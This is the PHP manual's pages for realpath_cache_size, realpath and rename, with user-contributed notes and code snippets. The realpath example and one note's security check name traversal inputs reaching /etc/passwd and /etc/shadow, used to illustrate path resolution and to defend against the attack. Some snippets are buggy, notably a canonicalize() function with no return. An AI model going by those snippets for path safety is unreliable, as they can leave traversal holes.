Filesystem Functions


Get realpath cache size

realpath_cache_get
realpath
Filesystem Functions
PHP Manual

realpath_cache_size

(PHP 5 >= 5.3.2)

realpath_cache_size — Get realpath cache size

Description

int realpath_cache_size ( void )

Get the amount of memory used by the realpath cache.

Return Values

Returns how much memory realpath cache is using.

Examples

Example #1 realpath_cache_size() example

<?php
var_dump(realpath_cache_size());
?>

The above example will output something similar to:

int(412)

See Also

  • realpath_cache_get() - Get realpath cache entries

User Contributed Notes

Stephen Pritchard from Arcanavision 13-Jan-2011 10:18
"realpath_cache_size" is used by PHP to cache the real file system paths of filenames referenced instead of looking them up each time.  Every time you perform any of the various file functions or include/require a file and use a relative path, PHP has to look up where that file really exists. PHP caches those values so it doesn’t have to search the current working directory and include_path for the file you are working on.
If your website uses lots of relative path files, think about increasing this value.  What value is required can be better estimated after monitoring by how fast the cache fills using realpath_cache_size() after restarting. Its contents can be viewed using realpath_cache_get().
superaap at gmail dot com 05-Nov-2010 07:41
Note that the realpath cache is not used if either safe_mode is on or an open_basedir restriction is in effect.
This is having a huge performance effect, causing lots of calls to lstat.

A bugreport has already been filed at http://bugs.php.net/bug.php?id=52312
realpath_cache_get
realpath
Filesystem Functions


Returns canonicalized absolute pathname

realpath_cache_size
rename
Filesystem Functions
PHP Manual

realpath

(PHP 4, PHP 5)

realpath — Returns canonicalized absolute pathname

Description

string realpath ( string $path )

realpath() expands all symbolic links and resolves references to '/./', '/../' and extra '/' characters in the input path and return the canonicalized absolute pathname.

Parameters

path

The path being checked.

Note:

Whilst a path must be supplied, the value can be blank or NULL In these cases, the value is interpreted as the current directory.

Return Values

Returns the canonicalized absolute pathname on success. The resulting path will have no symbolic link, '/./' or '/../' components.

realpath() returns FALSE on failure, e.g. if the file does not exist.

Note:

The running script must have executable permissions on all directories in the hierarchy, otherwise realpath() will return FALSE.

Note: Because PHP's integer type is signed and many platforms use 32bit integers, some filesystem functions may return unexpected results for files which are larger than 2GB.

Changelog

Version | Description
5.3.0 | Prior to this release, if only the last path component did not exist, realpath() would not fail on *BSD systems. realpath() now fails in this case.
5.0.0 | Prior to this release, a blank or NULL path would cause realpath() to return the directory name of the script.

Examples

Example #1 realpath() example

<?php
chdir('/var/www/');
echo realpath('./../../etc/passwd');
?>

The above example will output:

/etc/passwd

Example #2 realpath() on Windows

On windows realpath() will change unix style paths to windows style.

<?php
echo realpath('/windows/system32');
?>

The above example will output:

C:\WINDOWS\System32

See Also

  • basename() - Returns trailing name component of path
  • dirname() - Returns parent directory's path
  • pathinfo() - Returns information about a file path

User Contributed Notes

dbags 08-Jan-2012 01:37
If using Windows junction.exe to create a symlink, it seems impossible to get the real path to the file. Even __FILE__ contains the symlinked path, not the actual path of the file.
spam at klickagent dot ch 21-Nov-2011 08:42
realpath() function for relative paths:

$relativePath = '../gallery/index/../../advent11/app/';

$pattern = '/\w+\/\.\.\//';
while(preg_match($pattern,$relativePath)){
    $relativePath = preg_replace($pattern, '', $relativePath);
}

output: '../advent11/app/'
php at keith tyler dot com 18-Oct-2011 12:15
Note that under Windows, a slash-rooted path will resolve on the local drive, and *not* necessarily C:\.

For example:

M:\>php -r "print realpath('/AUTOEXEC.BAT');"
[prints nothing, because there is no M:\AUTOEXEC.BAT]

But:

M:\>C:
C:\>php -r "print realpath('/AUTOEXEC.BAT');"
C:\AUTOEXEC.BAT

Same script, different response depending on current drive.

I'm inclined to argue that this function *should* use the value of %SystemDrive% as the "slash root" base.
imagiro 21-Sep-2011 02:20
Here is a small and handy method to calculate the relative path from $from to $to. Note: On Windows it does not work when $from and $to are on different drives.

<?php
function relativePath($from, $to, $ps = DIRECTORY_SEPARATOR)
{
  $arFrom = explode($ps, rtrim($from, $ps));
  $arTo = explode($ps, rtrim($to, $ps));
  while(count($arFrom) && count($arTo) && ($arFrom[0] == $arTo[0]))
  {
    array_shift($arFrom);
    array_shift($arTo);
  }
  return str_pad("", count($arFrom) * 3, '..'.$ps).implode($ps, $arTo);
}
?>
netmosfera at gmail dot com 13-Apr-2011 09:55
please note that realpath is a performance killer

on my sys listing 100 files with realpath takes 0.2 sec (core2quad 6600 x64 4gbddr2)

in most cases, its better to use getcwd() instead and work with dirname() to resolve ".."
Jrg Wagner 11-Jun-2010 12:35
Please be aware that this function does NOT always strip a trailing slash!:

LINUX (tested with PHP 5.2.11):
---
realpath('.')
: string = "/myhttpdfolder"
realpath('./')
: string = "/myhttpdfolder"
realpath('fileadmin')
: string = "/myhttpdfolder/fileadmin"
realpath('fileadmin/')
: string = "/myhttpdfolder/fileadmin"

WINDOWS (tested with PHP 5.2.5):
---
realpath('.')
: string = "C:\\myhttpdfolder"
realpath('./')
: string = "C:\\myhttpdfolder\\"
realpath('fileadmin')
: string = "C:\\myhttpdfolder\\fileadmin"
realpath('fileadmin/')
: string = "C:\\myhttpdfolder\\fileadmin\\"
jpic 13-May-2010 12:04
There is no native function that does the opposite.

Pure-php implementation:

<?php
function getRelativePath( $path, $compareTo ) {
        // clean arguments by removing trailing and prefixing slashes
        if ( substr( $path, -1 ) == '/' ) {
            $path = substr( $path, 0, -1 );
        }
        if ( substr( $path, 0, 1 ) == '/' ) {
            $path = substr( $path, 1 );
        }

        if ( substr( $compareTo, -1 ) == '/' ) {
            $compareTo = substr( $compareTo, 0, -1 );
        }
        if ( substr( $compareTo, 0, 1 ) == '/' ) {
            $compareTo = substr( $compareTo, 1 );
        }

        // simple case: $compareTo is in $path
        if ( strpos( $path, $compareTo ) === 0 ) {
            $offset = strlen( $compareTo ) + 1;
            return substr( $path, $offset );
        }

        $relative  = array(  );
        $pathParts = explode( '/', $path );
        $compareToParts = explode( '/', $compareTo );

        foreach( $compareToParts as $index => $part ) {
            if ( isset( $pathParts[$index] ) && $pathParts[$index] == $part ) {
                continue;
            }

            $relative[] = '..';
        }

        foreach( $pathParts as $index => $part ) {
            if ( isset( $compareToParts[$index] ) && $compareToParts[$index] == $part ) {
                continue;
            }

            $relative[] = $part;
        }

        return implode( '/', $relative );
    }
?>

Some tests forr phpunit:

<?php
    static public function getRelativePathProvider(  )  {
        return array(
            array(
                '/srv/foo/bar',
                '/srv',
                'foo/bar',
            ),
            array(
                '/srv/foo/bar',
                '/srv/',
                'foo/bar',
            ),
            array(
                '/srv/foo/bar/',
                '/srv',
                'foo/bar',
            ),
            array(
                '/srv/foo/bar/',
                '/srv/',
                'foo/bar',
            ),
            array(
                '/srv/foo/bar',
                '/srv/test',
                '../foo/bar',
            ),
            array(
                '/srv/foo/bar',
                '/srv/test/fool',
                '../../foo/bar',
            ),
            array(
                '/srv/mad/xp/mad/model/static/css/uni-form.css',
                '/srv/mad/xp/liria/',
                '../mad/model/static/css/uni-form.css',
            ),
        );
    }

    /**
     * @dataProvider getRelativePathProvider
     */
    public function testGetRelativePath( $path, $compareTo, $expected ) {
        $result = getRelativePath( $path, $compareTo );
        $this->assertEquals( $expected, $result );
    }
?>
roman dot vasicek at email dot cz 03-Dec-2009 09:01
You may want to change script behavior depending on the way how its code is invoked (included by another script / called directly). Following code do the job
<?php
if (realpath(__FILE__) == realpath($_SERVER['SCRIPT_FILENAME'])) {
  // called directly
  ...
} else {
  // included
  ...
}
?>
hrcerqueira at gmail dot com 01-Dec-2009 04:08
if you just need to resolve a path that is not on your system, or you don't want to chdir to it, a simple regular expression can do the trick:

<?php

$p = '/cool/yeah/../zzz';

$p = preg_replace('/\w+\/\.\.\//', '', $p);

echo $p; //outputs /cool/zzz

?>
cory dot mawhorter gmail.com 29-Jul-2009 12:36
<?php

// fixes windows paths...
// (windows accepts forward slashes and backwards slashes, so why does PHP use backwards?
function fix_path($path) {
    return str_replace('\\','/',$path);
}

// takes two absolute paths and determines if one is a subdirectory of the other
// it doesn't care if it is an immediate child or 10 subdirectories deep...
// use absolute paths for both for best results
function is_child($parent, $child) {
    if(false !== ($parent = realpath($parent))) {
        $parent = fix_path($parent);
        if(false !== ($child = realpath($child))) {
            $child = fix_path($child);
            if(substr($child, 0, strlen($parent)) == $parent)
                return true;
        }
    }

    return false;
}

?>
orssey 16-Apr-2009 01:57
<?php

Class RealPath
{
    private $ServerPath;
    private $ScriptPath;
    private $AddSlashEnd;

    function __construct()
    {
        $this->AddSlashEnd = "";

        $this->ServerPath = $_SERVER['DOCUMENT_ROOT'];
        $this->ScriptPath = substr(dirname($_SERVER['SCRIPT_FILENAME']), strlen($this->ServerPath));
    }

    private function Server($adress)
    {
        $ThisPath = @realpath($adress);
        $ThisPathLength = strlen($ThisPath);

        return substr($ThisPath, strlen($this->ServerPath), $ThisPathLength);
    }

    public function Absolute($adress)
    {
        return $_SERVER['SERVER_NAME'] . $this->Server($adress) . $this->AddSlashEnd;
    }

    public function RelativeServer($adress)
    {
        return $this->Server($adress) . $this->AddSlashEnd;
    }

    public function RelativeScript($adress)
    {
        $ScriptExplode = explode("/", $this->ScriptPath);
        $ServerExplode = explode("/", $this->Server($adress));

        $TmpCount = $ScriptCount = count($ScriptExplode);
        $ServerCount = count($ServerExplode);

        $ReturnPath = "";

        for($i = 1; $i < $TmpCount; $i++)
        {
            if($ScriptExplode[$i] == $ServerExplode[$i])
                --$ScriptCount;
            else
                break;
        }

        for($i = 1; $i < $ScriptCount; $i++)
            $ReturnPath .= "/..";

        for($i = $TmpCount - $ScriptCount + 1; $i < $ServerCount; $i++)
            $ReturnPath .= "/" . $ServerExplode[$i];

        return $ReturnPath . $this->AddSlashEnd;
    }

    public function AddSlash($value)
    {
        if(is_bool($value))
        {
            $this->AddSlashEnd = ($value)? "/" : "";
            return true;
        }
        else
            return false;
    }

}

example:

$ObjectPath = new RealPath;
$ObjectPath->RelativeScript("../a/b../c/d/f../g../h");
info[at]adico.co.il 15-Feb-2009 02:13
for those who want to start realpath on windows platform and looking for example.

OR

for those who want to run zend framework on windows platform using the quick start guide

<?php
define( "_CUR_OS", substr( php_uname( ), 0, 7 ) == "Windows" ? "Win" : "_Nix" );

function checkCurrentOS( $_OS )
{
    if ( strcmp( $_OS, _CUR_OS ) == 0 ) {
        return true;
    }
    return false;
}

// public/index.php
//
// Step 1: APPLICATION_PATH is a constant pointing to our
// application/subdirectory. We use this to add our "library" directory
// to the include_path, so that PHP can find our Zend Framework classes.

if ( checkCurrentOS( "Win" ) ) {
    $mappath = '/' . str_replace( "\\", "/", str_replace( "C:\\","", dirname(__FILE__) ) );
}
else {
    $mappath = dirname(__FILE__);
}

define('APPLICATION_PATH', realpath(  $mappath . '/../_privateadico/application/') );
set_include_path(
    APPLICATION_PATH . '/../library'
    . PATH_SEPARATOR . get_include_path()
);
?>

I took the index.php for zend which is was written for unix and ported it to windows.

The porting problem was with realpath function not understanding dirname(__FILE__) syntex on windows
Isaac Z. Schlueter i at foohack dot com 27-Aug-2008 07:02
If you need to resolve a url against a base url, as the browser does with anchor tags, then realpath won't help, because it's not on your file system.

This function does that:

<?php
function resolve_href ($base, $href) {

    // href="" ==> current url.
    if (!$href) {
        return $base;
    }

    // href="http://..." ==> href isn't relative
    $rel_parsed = parse_url($href);
    if (array_key_exists('scheme', $rel_parsed)) {
        return $href;
    }

    // add an extra character so that, if it ends in a /, we don't lose the last piece.
    $base_parsed = parse_url("$base ");
    // if it's just server.com and no path, then put a / there.
    if (!array_key_exists('path', $base_parsed)) {
        $base_parsed = parse_url("$base/ ");
    }

    // href="/ ==> throw away current path.
    if ($href{0} === "/") {
        $path = $href;
    } else {
        $path = dirname($base_parsed['path']) . "/$href";
    }

    // bla/./bloo ==> bla/bloo
    $path = preg_replace('~/\./~', '/', $path);

    // resolve /../
    // loop through all the parts, popping whenever there's a .., pushing otherwise.
        $parts = array();
        foreach (
            explode('/', preg_replace('~/+~', '/', $path)) as $part
        ) if ($part === "..") {
            array_pop($parts);
        } elseif ($part!="") {
            $parts[] = $part;
        }

    return (
        (array_key_exists('scheme', $base_parsed)) ?
            $base_parsed['scheme'] . '://' . $base_parsed['host'] : ""
    ) . "/" . implode("/", $parts);

}
?>

[EDIT BY danbrown AT php DOT net:  Code contains a bugfix supplied by (Zhenya DOT Morozov AT gmail DOT com) on 23-JAN-09, to address the following issue:
'If your path contains "0" (or any "false" string) directory name, the function removes that directory from the path.']
Sven Arduwie 23-Jun-2008 03:43
Because realpath() does not work on files that do not
exist, I wrote a function that does.
It replaces (consecutive) occurences of / and \\ with
whatever is in DIRECTORY_SEPARATOR, and processes /. and /.. fine.
Paths returned by get_absolute_path() contain no
(back)slash at position 0 (beginning of the string) or
position -1 (ending)
<?php
    function get_absolute_path($path) {
        $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path);
        $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen');
        $absolutes = array();
        foreach ($parts as $part) {
            if ('.' == $part) continue;
            if ('..' == $part) {
                array_pop($absolutes);
            } else {
                $absolutes[] = $part;
            }
        }
        return implode(DIRECTORY_SEPARATOR, $absolutes);
    }
?>

A test:
<?php
    var_dump(get_absolute_path('this/is/../a/./test/.///is'));
?>
Returns: string(14) "this/a/test/is"

As you can so, it also produces Yoda-speak. :)
waldemar dot axdorph at gmail dot com 08-Jun-2008 08:49
I made this function so that I could see if a user was trying to go above the current directory.

My top dir:
/var/www/dir/

User wanted
/var/www/

This comes in handy when you're making a php explorer/filemanager and you want your files in the directory above to be private.

Here it is

<?php
//usage
//$dir is the dir you are in
//$dir_top is the highest dir allowed.

//example
/*
if(above_dir('../', '/var/www/filemgr'))
    die('Not allowed. Please stick to your directories');
*/
function above_dir($dir, $dir_top){
    if($dir == $dir_top)
        return false;

    $dir = realpath($dir);
    $dir_top = realpath($dir_top);

    $dir = count(explode('/', $dir));
    $dir_top = count(explode('/', $dir_top));

    if($dir <= $dir_top){
        return true;
    }else{
        return false;
    }
}

?>
rlee at excel dot com 24-Apr-2008 03:21
Some users will notice that PHP applications malfunction when they upgrade to PHP 5.2.4 (included in Ubuntu 8.04 LTS) because realpath returns true for files that don't exist.

This is due to the inclusion of the Hardened-PHP Project's Suhosin Patch in many distributions by default. This patch replaces PHPs realpath function with the BSD implementation, which ignores the last path component.

The workaround is to use the file_exists function to verify that the file exists before using realpath to get its real path string.

e.g: instead of:

<?php

if (realpath($path)) {
    $path = realpath($path);
} else {
    throw new Exception('Path not found!');
}

?>

Do this:

<?php

if (file_exists($path)) {
    $path = realpath($path);
} else {
    throw new Exception('Path not found!');
}

?>

See http://www.hardened-php.net/suhosin/a_feature_list:realpath.html
131 dot php at cloudyks dot org 19-Mar-2008 05:34
<?php
//rp like, working with absolute/relative path & a little bit shorter :p

function rp($path) {
    $out=array();
    foreach(explode('/', $path) as $i=>$fold){
        if ($fold=='' || $fold=='.') continue;
        if ($fold=='..' && $i>0 && end($out)!='..') array_pop($out);
    else $out[]= $fold;
    } return ($path{0}=='/'?'/':'').join('/', $out);
}
?>
alex at bartl dot net 03-Oct-2007 08:25
Sometimes it is helpful to check for the existance of a file
which might be found by using the include_path like in

<?php
include("file_from_include_path.php");
?>

A simple function iterates the include_path and tries all
possibilites, returns translated_local_path on success or false
if not found.

<?php
function mappath($path_to_translate){
  $IncludePath=explode(PATH_SEPARATOR,get_include_path());
  foreach($IncludePath as $prefix){
    if(substr($prefix,-1)==DIRECTORY_SEPARATOR)
      $prefix=substr($prefix,0,-1);
    $try_path=sprintf("%s%s%s"
      ,$prefix,DIRECTORY_SEPARATOR,$path_to_translate);
    if(file_exists($try_path))return($try_path);
  }
  return false;
}
?>
alban dot lopez+php dot net at gmail dot com 21-Sep-2007 12:15
Here's a little function to return the shortest relative path between dest folder and current folder (you can be replace $_SERVER['PHP_SEFL'] by your variable folder) :

<?php
// if you run in /var/www/

echo UnRealPath ('./'); // return "./"
echo UnRealPath ('./ajax-browser/AJAX-B/scripts/'); // return "./ajax-browser/AJAX-B/scripts/"
echo UnRealPath ('/var/'); // return "./../"
echo UnRealPath ('/opt/picasa/wine/'); // return "./../../opt/picasa/wine/"

function UnRealPath ($dest)
{
    $Ahere = explode ('/', realpath($_SERVER['PHP_SEFL']));
    $Adest = explode ('/', realpath($dest));
    $result = '.'; // le chemin retouné dois forcement commancé par ./   c'est le but
    while (implode ('/', $Adest) != implode ('/', $Ahere))// && count ($Adest)>0 && count($Ahere)>0 )
    {
        if (count($Ahere)>count($Adest))
        {
            array_pop($Ahere);
            $result .= '/..';
        }
        else
        {
            array_pop($Adest);
        }
    }
    return str_replace('//', '/', $result.str_replace(implode ('/', $Adest), '', realpath($dest)).(@is_dir(realpath($dest))?'/':''));
}
?>
viaujoc at videotron dot ca 20-Aug-2007 10:50
Beware that the use of a NULL value for the $path argument will give different results depending on the platform:

On Windows, realpath(null) will return the current path (same as realpath(".")).

On Linux (tested on Kernel 2.6) it will return FALSE.
Santosh Patnaik 20-Aug-2007 02:52
Given real paths of two files, this function finds the relative path of one ($dest) with respect to the other ($root).

<?php
echo rel_path('a/b/c', 'd/e'); // './../../a/b/c'
echo rel_path('a/b/c', 'a/b/c/d/e'); // './../..'
echo rel_path('a/b/c/d/e', 'a/b/c'); // './d/e'

function rel_path($dest, $root = '', $dir_sep = '/')
{
 $root = explode($dir_sep, $root);
 $dest = explode($dir_sep, $dest);
 $path = '.';
 $fix = '';
 $diff = 0;
 for($i = -1; ++$i < max(($rC = count($root)), ($dC = count($dest)));)
 {
  if(isset($root[$i]) and isset($dest[$i]))
  {
   if($diff)
   {
    $path .= $dir_sep. '..';
    $fix .= $dir_sep. $dest[$i];
    continue;
   }
   if($root[$i] != $dest[$i])
   {
    $diff = 1;
    $path .= $dir_sep. '..';
    $fix .= $dir_sep. $dest[$i];
    continue;
   }
  }
  elseif(!isset($root[$i]) and isset($dest[$i]))
  {
   for($j = $i-1; ++$j < $dC;)
   {
    $fix .= $dir_sep. $dest[$j];
   }
   break;
  }
  elseif(isset($root[$i]) and !isset($dest[$i]))
  {
   for($j = $i-1; ++$j < $rC;)
   {
    $fix = $dir_sep. '..'. $fix;
   }
   break;
  }
 }
  return $path. $fix;
}
?>
berglov1 at hotmail dot com 24-Jul-2007 07:22
There might be other solutions like mine in here,
but here is one more.

This function converts Virtual Paths into Relative Paths.
I needed that at one time, and I did'nt have much luck finding a solution amongst the PHP Functions in the manual.

<?php
function GetPath($RedPath) {

  if(substr($RedPath, 0, 1) == "/") {
    $SysPath = dirname($_SERVER['PHP_SELF']);

    if(substr($RedPath, -1) == "/") $RedPath = substr($RedPath, 0, -1);

    if(strlen($SysPath) == 1)
      return ".".$RedPath;
    elseif(strcmp($SysPath,$RedPath) == 0)
      return "./";

    else {
      $s_tmp = split("/", $SysPath);
      $r_tmp = split("/", $RedPath);

      while(($r_tmp[$i] == $s_tmp[$i]) && $i < 10)
        $i++;

      $t_RedPath = end(split("/", $RedPath, ($i+1)));

      if($i == count($s_tmp))
        return "./".$t_RedPath;
      else
        return str_repeat("../", count($s_tmp)-$i).$t_RedPath;
    }
  }
  else
    return $RedPath;

}
?>
julabz at laposte dot net 16-Jul-2007 11:49
Here's a little function to return the relative path between two urls:

<?php

    function get_relative_path($start_dir, $final_dir){
        //
        $firstPathParts = explode(DIRECTORY_SEPARATOR, $start_dir);
        $secondPathParts = explode(DIRECTORY_SEPARATOR, $final_dir);
        //
        $sameCounter = 0;
        for($i = 0; $i < min( count($firstPathParts), count($secondPathParts) ); $i++) {
            if( strtolower($firstPathParts[$i]) !== strtolower($secondPathParts[$i]) ) {
                break;
            }
            $sameCounter++;
        }
        if( $sameCounter == 0 ) {
            return $final_dir;
        }
        //
        $newPath = '';
        for($i = $sameCounter; $i < count($firstPathParts); $i++) {
            if( $i > $sameCounter ) {
                $newPath .= DIRECTORY_SEPARATOR;
            }
            $newPath .= "..";
        }
        if( count($newPath) == 0 ) {
            $newPath = ".";
        }
        for($i = $sameCounter; $i < count($secondPathParts); $i++) {
            $newPath .= DIRECTORY_SEPARATOR;
            $newPath .= $secondPathParts[$i];
        }
        //
        return $newPath;
    }

?>
richpageau at yahoo dot co dot uk 25-Jun-2007 11:55
This is my attempt at writing a realpath replacement. I needed to to run some Adobe code on a server with realpath disabled and this seemed to do the job. It is written for a unix server, I suppose it could be made cross platform using DIRECTORY_SEPARATOR. (With thanks to Marc Noirot for his code).

<?php
function myRealPath($path) {

    // check if path begins with "/" ie. is absolute
    // if it isnt concat with script path
    if (strpos($path,"/") !== 0) {
        $base=dirname($_SERVER['SCRIPT_FILENAME']);
        $path=$base."/".$path;
    }

    // canonicalize
    $path=explode('/', $path);
    $newpath=array();
    for ($i=0; $i<sizeof($path); $i++) {
        if ($path[$i]==='' || $path[$i]==='.') continue;
           if ($path[$i]==='..') {
              array_pop($newpath);
              continue;
        }
        array_push($newpath, $path[$i]);
    }
    $finalpath="/".implode('/', $newpath);

    // check then return valid path or filename
    if (file_exists($finalpath)) {
        return ($finalpath);
    }
    else return FALSE;
}
?>
David Beck 22-Nov-2006 07:38
Here's a function to canonicalize a URL containing relative paths. Ran into the problem when pulling links from a remote page.

<?php

function canonicalize($address)
{
    $address = explode('/', $address);
    $keys = array_keys($address, '..');

    foreach($keys AS $keypos => $key)
    {
        array_splice($address, $key - ($keypos * 2 + 1), 2);
    }

    $address = implode('/', $address);
    $address = str_replace('./', '', $address);
}

$url = 'http://www.example.com/something/../else';
echo canonicalize($url); //http://www.example.com/else

?>
bart at mediawave dot nl 21-Sep-2005 11:31
Here's another function that resolves references to '/./', '/../' and extra '/' characters in the input path and returns the canonicalized pathname.

<?php

function cleanPath($path) {
    $result = array();
    // $pathA = preg_split('/[\/\\\]/', $path);
    $pathA = explode('/', $path);
    if (!$pathA[0])
        $result[] = '';
    foreach ($pathA AS $key => $dir) {
        if ($dir == '..') {
            if (end($result) == '..') {
                $result[] = '..';
            } elseif (!array_pop($result)) {
                $result[] = '..';
            }
        } elseif ($dir && $dir != '.') {
            $result[] = $dir;
        }
    }
    if (!end($pathA))
        $result[] = '';
    return implode('/', $result);
}

echo 'input:  ', $path = '..//./../dir4//./dir5/dir6/..//dir7/', '<br />';
echo 'output: ', cleanPath($path), '<br />';

?>

Will return:

input:  ..//./../dir4//./dir5/dir6/..//dir7/
output: ../../dir4/dir5/dir7/
php.netatjulian-lemburg.de 20-Jul-2005 08:55
You have a realpath.
Now you want a htmlpath.

First Suggestion:
<?php

function htmlpath($relative_path) {
   $realpath=realpath($relative_path);
   $htmlpath=str_replace($_SERVER['DOCUMENT_ROOT'],'',$realpath);
   return $htmlpath;
}
?>

But this does not work on some servers.

Second Suggestion:

<?php

function htmlpath($realpath) {
   $i = substr_count($_ENV["SCRIPT_URL"],'/')."<br>";
   $baserealpath=realpath(str_repeat('../',$i-1));
   $htmlpath=str_replace($baserealpath,'',$realpath);
   return $htmlpath;
}

?>
Lars Scheithauer <l dot scheithauer at gmx dot de> 08-Jun-2005 10:44
This function is also nice to test for security-breaches. You can forbid the script to access files below a certain directory to prevent "../../../etc/shadow" and similar attacks:

<?php

// declare the basic directory for security reasons
// Please do NOT attach a "/"-suffix !
$basedir = '/var/www/cgi-bin/scriptfolder';

// compare the entered path with the basedir
$path_parts = pathinfo($_REQUEST['file_to_get']);
if (realpath($path_parts['dirname']) != $basedir) {
    /* appropriate action against crack-attempt*/
    die ('coding good - h4x1ng bad!');
}

?>

The url "script.php?file_to_get=../../../etc/shadow" will now result in an error.
pulstar at ig dot com dot br 20-Dec-2004 01:43
Sometimes you may need to refer to the absolute path of a file in your website instead of a relative path, but the realpath() function returns the path relative to the server's filesystem, not a path relative to your website root directory.

For example, realpath() may return something like this:

/home/yoursite/public_html/dir1/file.ext

You can't use this in an HTML document, because the web server will not find the file. To do so, you can use:

<?php

function htmlpath($relative_path) {
    $realpath=realpath($relative_path);
    $htmlpath=str_replace($_SERVER['DOCUMENT_ROOT'],'',$realpath);
    return $htmlpath;
}

echo '<img src="',htmlpath('../../relative/path/to/file.ext'),'" border=1>';

?>

It will return something like:

<img src="/dir1/relative/path/to/file.ext" border=1>
eric at themepark dot com 17-Jul-2002 06:15
note that realpath() will chop any trailing delimiter like \ or / ...don't forget to add it back on if you need it.

Eric Mueller - themepark.com
jemptyg at rwmc dot net 05-Jul-2001 03:38
realpath() seems to be equivalent to ASP's Server.MapPath.  On my Win2k box I have successfully used realpath() to give me the full path for a file outside of the document_root.  This will be very useful in conjunction with is_dir and/or is_file, which require a full path.
jerome at dot451 dot com 28-Aug-2000 12:03
mkdir (and realpath) did not work because i'd used virtual() function to replace server side include in my file.
And i've just seen that virtual() function changes the current directory ... that's why !

jerome ;)
realpath_cache_size
rename
Filesystem Functions


Renames a file or directory

realpath
rewind
Filesystem Functions
PHP Manual

rename

(PHP 4, PHP 5)

rename — Renames a file or directory

Description

bool rename ( string $oldname , string $newname [, resource $context ] )

Attempts to rename oldname to newname.

Parameters

oldname

Note:

The old name. The wrapper used in oldname must match the wrapper used in newname.

newname

The new name.

context

Note: Context support was added with PHP 5.0.0. For a description of contexts, refer to Streams.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
5.3.1 | rename() can now rename files across drives in Windows.
5.0.0 | rename() can now also be used with some URL wrappers. Refer to Supported Protocols and Wrappers for a listing of which wrappers support rename().
4.3.3 | rename() may now be able to rename files across partitions on *nix based systems, provided the appropriate permissions are held. Warnings may be generated if the destination filesystem doesn't permit chown() or chmod() system calls to be made on files — for example, if the destination filesystem is a FAT filesystem.

Examples

Example #1 Example with rename()

<?php
rename("/tmp/tmp_file.txt", "/home/user/login/docs/my_file.txt");
?>

See Also

  • copy() - Copies file
  • unlink() - Deletes a file
  • move_uploaded_file() - Moves an uploaded file to a new location

User Contributed Notes

Andy at txtNation dot com 22-Jan-2012 11:46
On Linux, I observe that rename retains the original ownership of the file.

I tried rename as root, a file owned by 'Andy' and the newly renamed file was still owned by 'Andy'

I tried rename as 'Bob', a file owned by 'Andy', but writeable by 'Bob', and the newly renamed file was still owned by 'Andy'
thomas dot hebinck at digionline dot de 10-Nov-2011 10:06
As defined by the underlying protocol, rename() does not overwrite existing files when being used with some wrappers (like SSH2.SFTP).
Martin Pelletier 05-Feb-2011 10:01
rename() is working on Linux/UNIX but not working on Windows on a directory containing a file formerly opened within the same script. The problem persists even after properly closing the file and flushing the buffer.

<?php
$fp = fopen ("./dir/ex.txt" , "r+");
$text = fread($fp, filesize("../dir/ex.txt"));
ftruncate($fp, 0);
$text2 = "some value";
fwrite ($fp,  $text2 );
fflush($fp);
fclose ($fp);
if (is_resource($fp))
    fclose($fp);
rename ("./dir", ".dir2"); // will give a «permission denied» error
?>

Strangely it seem that the rename command is  executed BEFORE the handle closing on Windows.

Inserting a sleep() command before the renaming cures the problem.

<?php
$fp = fopen ("./dir/ex.txt" , "r+");
$text = fread($fp, filesize("../dir/ex.txt"));
ftruncate($fp, 0);
$text2 = "some value";
fwrite ($fp,  $text2 );
fflush($fp);
fclose ($fp);
if (is_resource($fp))
    fclose($fp);
sleep(1);    // this does the trick
rename ("./dir", ".dir2"); //no error
?>
andrew at 21cv dot co dot uk 15-Apr-2010 05:19
Code first, then explanation.

<?php

 rename ("/folder/file.ext", "newfile.ext");

?>

That doesn't rename the file within the folder, as you might assume, instead, it moves the file to whatever the PHP working directory is... Chances are you'll not find it in your FTP tree. Instead, use the following:

<?php

 rename ("/folder/file.ext", "/folder/newfile.ext");

?>
Morteza 10-Apr-2010 12:04
This code renames all  files and folders in a specific directory to lower case:

<?php
$path = "my_doc";

function getDirectory( $path = '.', $level = 0 ){

    $ignore = array( 'cgi-bin', '.', '..' );

    $dh = @opendir( $path );

    while( false !== ( $file = readdir( $dh ) ) )
    {
        if( !in_array( $file, $ignore ) )
        {
            $spaces = str_repeat( '&nbsp;', ( $level * 4 ) );
            if( is_dir( "$path/$file" ) )
            {
                echo "<strong>$spaces $file</strong><br />";
                rename($path."\\".$file, strtolower($path."\\".$file));
                getDirectory( "$path/$file", ($level+1) );

            }
            else {
                echo "$spaces $file<br />";
                rename($path."\\".$file, strtolower($path."\\".$file));
            }
        }
    }
    closedir( $dh );
}

getDirectory( $path , 0 )

?>
pcdinh at phpvietnam dot net 29-Jul-2009 09:10
For those who are still confused about the behavior of rename() in Linux and Windows (Windows XP) when target destination exists:

I have tested rename($oldName, $targetName) in PHP 5.3.0 and PHP 5.2.9 on both OS and find that if a file named $targetName does exist before, it will be overwritten with the content of $oldName
php-page at mailfilter dot com dot ar 03-Jul-2009 09:06
In Windows, on FAT32, rename will fail with "bad file descriptor" if the underlying short (8.3) file name of the file to rename is the same as the new file name. For example, attempting to rename "Oxygène.m3u" to "Oxygene.m3u" will fail if the 8.3 name of "Oxygène.m3u" is "OXYGENE.M3U" (which is very likely), as Windows will take both names as belonging to the same file. To solve this you must first rename the file to an intermediate name and then rename it to the intended name. To see the short (8.3) file names in a directory you can type DIR /X on a cmd box.
sudhir dot vis at gmail dot com 27-Apr-2009 02:19
Rename all the files at one. :)

<?php
$path = "E:\\SERVER\\sudhir\\songs";
$dh = opendir($path);
$i=1;
while (($file = readdir($dh)) !== false) {
    if($file != "." && $file != "..") {
        echo "<br/>".substr($path."\\".$file, 0,-3)."_mysongs_mp3";
        rename($path."\\".$file, substr($path."\\".$file, 0,-3)."_mysongs_mp3");
        $i++;
    }
}
closedir($dh);
?>
andrew at iwebsolutions dot co dot uk 02-Apr-2009 01:36
Note that this WILL NOT WORK if trying to rename a directory to a network share.

e.g.
rename('/home/user/me/dir1', '/mnt/shares/nfsmount/dir2')

will create a file called 'dir2' on the share and not a directory.

This caught me out and my (quickest) solution was to use an exec and mv command:

<?php
$cmd = 'mv "/home/user/me/dir1" "/mnt/shares/nfsmount/dir2"';
exec($cmd, $output, $return_val);

if ($return_val == 0) {
   echo "success";
} else {
   echo "failed";
}
?>
brent at brenthugh dot com 08-Jan-2009 10:31
